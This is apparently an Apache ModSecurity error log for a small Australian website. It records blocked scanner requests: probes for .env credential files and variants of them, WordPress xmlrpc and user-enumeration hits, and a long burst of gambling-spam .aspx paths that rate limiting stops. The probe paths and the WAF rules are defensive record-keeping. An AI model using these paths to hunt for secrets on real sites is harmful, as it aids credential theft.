[Thu Apr 16 18:11:05.312712 2026] [:error] [pid 57536:tid 57550] [client 172.70.248.130:11065] [client 172.70.248.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "aeC1uSQU4faGja6jpDstOwAAAAI"]
[Thu Apr 16 18:11:05.391777 2026] [:error] [pid 7880:tid 7897] [client 104.23.239.17:10617] [client 104.23.239.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development.local"] [unique_id "aeC1uaaezm4fSGc0yUJqZgAAAYw"]
[Thu Apr 16 18:11:07.392920 2026] [:error] [pid 57537:tid 57586] [client 172.70.248.130:11066] [client 172.70.248.130] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aeC1u1VQRS8nm73ENAmYYgAAAEs"]
[Thu Apr 16 18:11:09.363814 2026] [:error] [pid 57536:tid 57548] [client 172.69.151.199:13090] [client 172.69.151.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.old"] [unique_id "aeC1vSQU4faGja6jpDstSQAAAAA"]
[Thu Apr 16 18:11:09.380651 2026] [:error] [pid 57537:tid 57588] [client 162.158.94.221:10082] [client 162.158.94.221] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.staging"] [unique_id "aeC1vVVQRS8nm73ENAmYZQAAAE0"]
[Thu Apr 16 18:11:10.877943 2026] [:error] [pid 57639:tid 57664] [client 35.158.25.233:59672] [client 35.158.25.233] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.save"] [unique_id "aeC1vqMCQoTw7TsxWukVrQAAANI"]
[Thu Apr 16 18:28:33.309959 2026] [:error] [pid 57536:tid 57560] [client 34.145.56.20:60856] [client 34.145.56.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.56.20, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeC50SQU4faGja6jpDsycAAAAAw"]
[Thu Apr 16 18:28:35.946986 2026] [:error] [pid 57536:tid 57570] [client 34.145.56.20:60856] [client 34.145.56.20] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeC50yQU4faGja6jpDsyfQAAABY"]
[Thu Apr 16 18:28:38.010108 2026] [:error] [pid 57536:tid 57562] [client 34.145.56.20:60856] [client 34.145.56.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.56.20, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeC51iQU4faGja6jpDsygwAAAA4"]
[Thu Apr 16 18:59:43.172305 2026] [:error] [pid 57639:tid 57649] [client 62.84.185.55:52736] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aeDBH6MCQoTw7TsxWuk3OQAAAMM"]
[Thu Apr 16 18:59:47.599692 2026] [:error] [pid 29603:tid 29627] [client 62.84.185.55:52744] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeDBI1fGOR6fpTWUAzpwcAAAARY"]
[Thu Apr 16 18:59:53.091624 2026] [:error] [pid 49094:tid 49110] [client 62.84.185.55:13070] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeDBKTbDwvcXorHR_MyK2gAAAU4"]
[Thu Apr 16 18:59:57.511011 2026] [:error] [pid 57536:tid 57562] [client 62.84.185.55:13072] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeDBLSQU4faGja6jpDs_8QAAAA4"]
[Thu Apr 16 19:00:01.003022 2026] [:error] [pid 57639:tid 57653] [client 62.84.185.55:36208] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeDBMaMCQoTw7TsxWuk3VQAAAMc"]
[Thu Apr 16 19:00:08.977023 2026] [:error] [pid 29603:tid 29626] [client 62.84.185.55:3776] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeDBOFfGOR6fpTWUAzpwlwAAARU"]
[Thu Apr 16 19:00:17.671543 2026] [:error] [pid 57639:tid 57654] [client 62.84.185.55:3780] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeDBQaMCQoTw7TsxWuk3fAAAAMg"]
[Thu Apr 16 19:00:21.989092 2026] [:error] [pid 7880:tid 7901] [client 62.84.185.55:8630] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeDBRaaezm4fSGc0yUJ5OQAAAZA"]
[Thu Apr 16 19:00:26.568013 2026] [:error] [pid 7880:tid 7904] [client 62.84.185.55:8642] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeDBSqaezm4fSGc0yUJ5OgAAAZM"]
[Thu Apr 16 19:00:31.003560 2026] [:error] [pid 57639:tid 57654] [client 62.84.185.55:51242] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeDBT6MCQoTw7TsxWuk3nwAAAMg"]
[Thu Apr 16 19:00:36.082115 2026] [:error] [pid 49094:tid 49108] [client 62.84.185.55:51248] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeDBVDbDwvcXorHR_MyLKAAAAUw"]
[Thu Apr 16 19:01:58.414048 2026] [:error] [pid 57639:tid 57663] [client 62.84.185.55:15506] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeDBpqMCQoTw7TsxWuk46QAAANE"]
[Thu Apr 16 19:02:03.197732 2026] [:error] [pid 57536:tid 57564] [client 62.84.185.55:15514] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeDBqyQU4faGja6jpDtA-wAAABA"]
[Thu Apr 16 19:02:07.408152 2026] [:error] [pid 57538:tid 57610] [client 62.84.185.55:15520] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeDBr8uMaiEF5SVR2BfAlAAAAIg"]
[Thu Apr 16 19:02:11.592746 2026] [:error] [pid 57538:tid 57620] [client 62.84.185.55:15308] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aeDBs8uMaiEF5SVR2BfAnwAAAJI"]
[Thu Apr 16 19:02:17.082330 2026] [:error] [pid 29603:tid 29606] [client 62.84.185.55:15318] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aeDBuVfGOR6fpTWUAzpxPQAAAQE"]
[Thu Apr 16 19:02:23.090891 2026] [:error] [pid 57536:tid 57570] [client 62.84.185.55:51584] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aeDBvyQU4faGja6jpDtBPAAAABY"]
[Thu Apr 16 19:02:29.565509 2026] [:error] [pid 57537:tid 57596] [client 62.84.185.55:31312] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aeDBxVVQRS8nm73ENAmfmgAAAFU"]
[Thu Apr 16 19:02:35.867769 2026] [:error] [pid 29603:tid 29605] [client 62.84.185.55:31318] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aeDBy1fGOR6fpTWUAzpxWAAAAQA"]
[Thu Apr 16 19:02:40.774004 2026] [:error] [pid 57639:tid 57652] [client 62.84.185.55:44546] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aeDB0KMCQoTw7TsxWuk5PQAAAMY"]
[Thu Apr 16 19:02:45.184526 2026] [:error] [pid 57536:tid 57568] [client 62.84.185.55:44550] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aeDB1SQU4faGja6jpDtBTgAAABQ"]
[Thu Apr 16 19:02:48.678566 2026] [:error] [pid 57537:tid 57576] [client 62.84.185.55:33720] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aeDB2FVQRS8nm73ENAmfqgAAAEE"]
[Thu Apr 16 19:04:07.069791 2026] [:error] [pid 29603:tid 29628] [client 62.84.185.55:36202] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeDCJ1fGOR6fpTWUAzpxuAAAARc"]
[Thu Apr 16 19:04:11.395348 2026] [:error] [pid 57639:tid 57664] [client 62.84.185.55:22774] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeDCK6MCQoTw7TsxWuk6egAAANI"]
[Thu Apr 16 19:04:15.161160 2026] [:error] [pid 57538:tid 57612] [client 62.84.185.55:22790] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeDCL8uMaiEF5SVR2BfBJwAAAIo"]
[Thu Apr 16 19:04:18.306865 2026] [:error] [pid 57639:tid 57654] [client 62.84.185.55:27542] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeDCMqMCQoTw7TsxWuk6lgAAAMg"]
[Thu Apr 16 19:04:22.065724 2026] [:error] [pid 57639:tid 57656] [client 62.84.185.55:27554] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeDCNqMCQoTw7TsxWuk6ngAAAMo"]
[Thu Apr 16 19:04:26.104486 2026] [:error] [pid 7880:tid 7899] [client 62.84.185.55:27560] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeDCOqaezm4fSGc0yUJ6vgAAAY4"]
[Thu Apr 16 19:04:29.710705 2026] [:error] [pid 57537:tid 57583] [client 62.84.185.55:18950] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeDCPVVQRS8nm73ENAmgFgAAAEg"]
[Thu Apr 16 19:04:34.673835 2026] [:error] [pid 57639:tid 57653] [client 62.84.185.55:18962] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeDCQqMCQoTw7TsxWuk7BQAAAMc"]
[Thu Apr 16 19:04:38.298220 2026] [:error] [pid 7880:tid 7889] [client 62.84.185.55:4952] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeDCRqaezm4fSGc0yUJ61QAAAYQ"]
[Thu Apr 16 19:04:42.781618 2026] [:error] [pid 29603:tid 29614] [client 62.84.185.55:4966] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeDCSlfGOR6fpTWUAzpxzwAAAQk"]
[Thu Apr 16 19:04:46.314937 2026] [:error] [pid 57538:tid 57602] [client 62.84.185.55:4978] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeDCTsuMaiEF5SVR2BfBQwAAAIA"]
[Thu Apr 16 19:04:49.888763 2026] [:error] [pid 49094:tid 49117] [client 62.84.185.55:18576] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeDCUTbDwvcXorHR_MyNFgAAAVU"]
[Thu Apr 16 19:04:53.773164 2026] [:error] [pid 49094:tid 49115] [client 62.84.185.55:18592] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aeDCVTbDwvcXorHR_MyNGgAAAVM"]
[Thu Apr 16 19:04:57.588913 2026] [:error] [pid 7880:tid 7904] [client 62.84.185.55:18606] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aeDCWaaezm4fSGc0yUJ66gAAAZM"]
[Thu Apr 16 19:05:00.783715 2026] [:error] [pid 57536:tid 57556] [client 62.84.185.55:61316] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aeDCXCQU4faGja6jpDtClgAAAAg"]
[Thu Apr 16 19:06:09.857990 2026] [:error] [pid 29603:tid 29624] [client 62.84.185.55:6718] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeDCoVfGOR6fpTWUAzpyMAAAARM"]
[Thu Apr 16 19:06:13.293760 2026] [:error] [pid 57536:tid 57558] [client 62.84.185.55:6734] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeDCpSQU4faGja6jpDtDNwAAAAo"]
[Thu Apr 16 19:06:16.981631 2026] [:error] [pid 57537:tid 57575] [client 62.84.185.55:6750] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeDCqFVQRS8nm73ENAmgSgAAAEA"]
[Thu Apr 16 19:06:20.091101 2026] [:error] [pid 57537:tid 57597] [client 62.84.185.55:5412] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeDCrFVQRS8nm73ENAmgTAAAAFY"]
[Thu Apr 16 19:06:23.460882 2026] [:error] [pid 57538:tid 57626] [client 62.84.185.55:5426] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeDCr8uMaiEF5SVR2BfB2wAAAJg"]
[Thu Apr 16 19:06:26.848695 2026] [:error] [pid 29603:tid 29621] [client 62.84.185.55:5430] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeDCslfGOR6fpTWUAzpyQAAAARA"]
[Thu Apr 16 19:06:29.861860 2026] [:error] [pid 57538:tid 57603] [client 62.84.185.55:44838] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeDCtcuMaiEF5SVR2BfB4AAAAIE"]
[Thu Apr 16 19:06:32.981043 2026] [:error] [pid 49094:tid 49113] [client 62.84.185.55:44840] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeDCuDbDwvcXorHR_MyORgAAAVE"]
[Thu Apr 16 19:06:36.110107 2026] [:error] [pid 57639:tid 57662] [client 62.84.185.55:44854] [client 62.84.185.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeDCvKMCQoTw7TsxWuk8ZwAAANA"]
